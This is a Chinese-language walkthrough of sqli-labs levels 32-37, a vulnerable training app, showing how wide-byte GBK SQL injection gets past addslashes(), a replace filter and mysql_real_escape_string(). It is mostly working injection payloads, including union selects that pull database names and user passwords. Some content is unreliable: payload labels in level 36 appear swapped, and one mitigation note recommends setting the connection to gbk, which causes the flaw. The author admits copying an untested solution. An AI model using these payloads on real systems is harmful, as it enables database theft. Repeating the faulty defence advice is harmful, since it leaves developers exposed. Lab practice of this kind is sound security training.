32.less32-Bypass addslashes()
32.1、注入分析-过滤斜杠、单引号、双引号
function check_addslashes($string)
{
/*preg_quote():执行一个正则表达式的搜索和替换
preg_quote():转义正则表达式字符*/
/*转义任何斜杠*/
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
/*转义单引号为单引号+斜杠*/
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
/*转义双引号为双引号+斜杠*/
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}
由上面过滤函数,可以知道在这里过滤了斜杠、单引号、双引号,即会在符号前加上斜杠进行过滤。而由下图可以知道闭合方式为单引号,因此我们需要对这个进行绕过。
在此我们利用在单引号前加上%df,而由于转义会在单引号前面加上一个单引号,在犹豫设置了gbk编码,因此%df与斜杠(%5c)会被当做一个中文字符,这样的话,就类似于斜杠被吃掉了。
http://192.168.10.208:8081/sqli-labs-master/Less-32/?id=-1%df%27union%20select%201,database(),version()--+
33.less33-Bypass addslashes()
33.1、注入分析-addslashes()-get
function check_addslashes($string)
{
$string= addslashes($string);
return $string;
}
由上面可以知道,这里的过滤主要是使用了一个函数addslashes()。
33.1、addslashes()函数
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
- 单引号(’)
- 双引号(")
- 反斜杠(\)
- NULL
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
注释:默认地,PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以您不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。
如下可见闭合方式为单引号闭合,本关类似于上一关,依旧可以在前面添加%df,进行绕过。
http://192.168.10.208:8081/sqli-labs-master/Less-33/?id=-1%df%27union%20select%201,2,3--+
33.2、预防
Notice:使用addslashes(),我们需要将mysql_query设置为binary的方式,才能防御此漏洞。
Mysql_query("SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary",$conn);
34.less34-Bypass addslashes()
34.1、注入分析-addslashes()-post
由上图可见,这里的闭合方式为单引号闭合,过滤方式可以参照上面的。
而get型的方式我们是以url形式提交的,因此数据会通过URLencode,如何将方法用在post型的注入当中,我们此处介绍一个新的方法。将utf-8转换为utf-16或 utf-32,例如将 ’ 转为utf-16为�’ 。(http://tool.chinaz.com/tools/urlencode.aspx)我们就可以利用这个方式进行尝试。
【在这里我没有找到相关编码与解码形式。】
因此看见了另外一种方法,拦包,修改uname
uname=admin%99' union select version(),database()--+&passwd=123456&submit=Submit
35.less35-why care for addslashes()
35.1、注入分析
function check_addslashes($string)
{
$string = addslashes($string);
return $string;
}
由上可见,本关与33关相差不大,且闭合方式为数字型,因此我们可利用不用管check_addslashes函数,直接进行union注入,如下。
http://192.168.10.208:8081/sqli-labs-master/Less-35/?id=-1 union select 1,2,3--+
36.less36-Bypass MySQL Real Escape String
36.1、注入分析-mysql_real_escape_string()-get
function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}
本关使用的该过滤函数为mysql_real_escape_string(),且闭合方式为单引号闭合。
36.1.1、mysql_real_escape_string()
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
- \x00
- \n
- \r
- \
- ’
- "
- \x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
mysql_real_escape_string(string,connection)
参数 | 描述 |
---|---|
string | 必需。规定要转义的字符串。 |
connection | 可选。规定 MySQL 连接。如果未规定,则使用上一个连接。 |
说明:本函数将 string 中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于 mysql_query()。
(这里我没有尝试成功,一直显示我文本有误,所以直接粘贴别人的过来了。)
这关可以通过宽字节 %df 或者utf-16来解决
宽字节注入
Payload:
http://127.0.0.1/sqli-labs/Less-36/?id=-1%EF%BF%BD%27union%20select%201,user(),3--+
utf16
Payload:
http://127.0.0.1/sqli-labs/Less-36/?id=-1%df%27union%20select%201,user(),3--+
Notice:
在使用mysql_real_escape_string()时,如何能够安全的防护这种问题,需要将mysql设置为gbk即可。
设置代码:Mysql_set_charset(‘gbk’,’$conn’)
37.less37-MYSQL_real_escape_string()
37.1、注入分析-mysql_real_escape_string()-post
类似于34关,仅仅是将函数改变为mysql_real_escape_string而已。
%df
uname=0%df%27%20union%20selEct%20group_concat(schema_name),2%20from%20information_schema.schemata;%23&passwd=1&submit=Submit
%99
uname=admin%99' union select 1,group_concat(username,0x3b,password) from users#&passwd=admin&submit=Submit
Summary:
从上面的几关当中,可以总结一下过滤 ’ \ 常用的三种方式是直接replace, addslashes(), mysql_real_escape_string()。 三种方式仅仅依靠一个函数是不能完全防御的,所以我们在编写代码的时候需要考虑的更加仔细。同时在上述过程中,我们也给出三种防御的方式,相信仔细看完已经明白了,这里就不赘述了。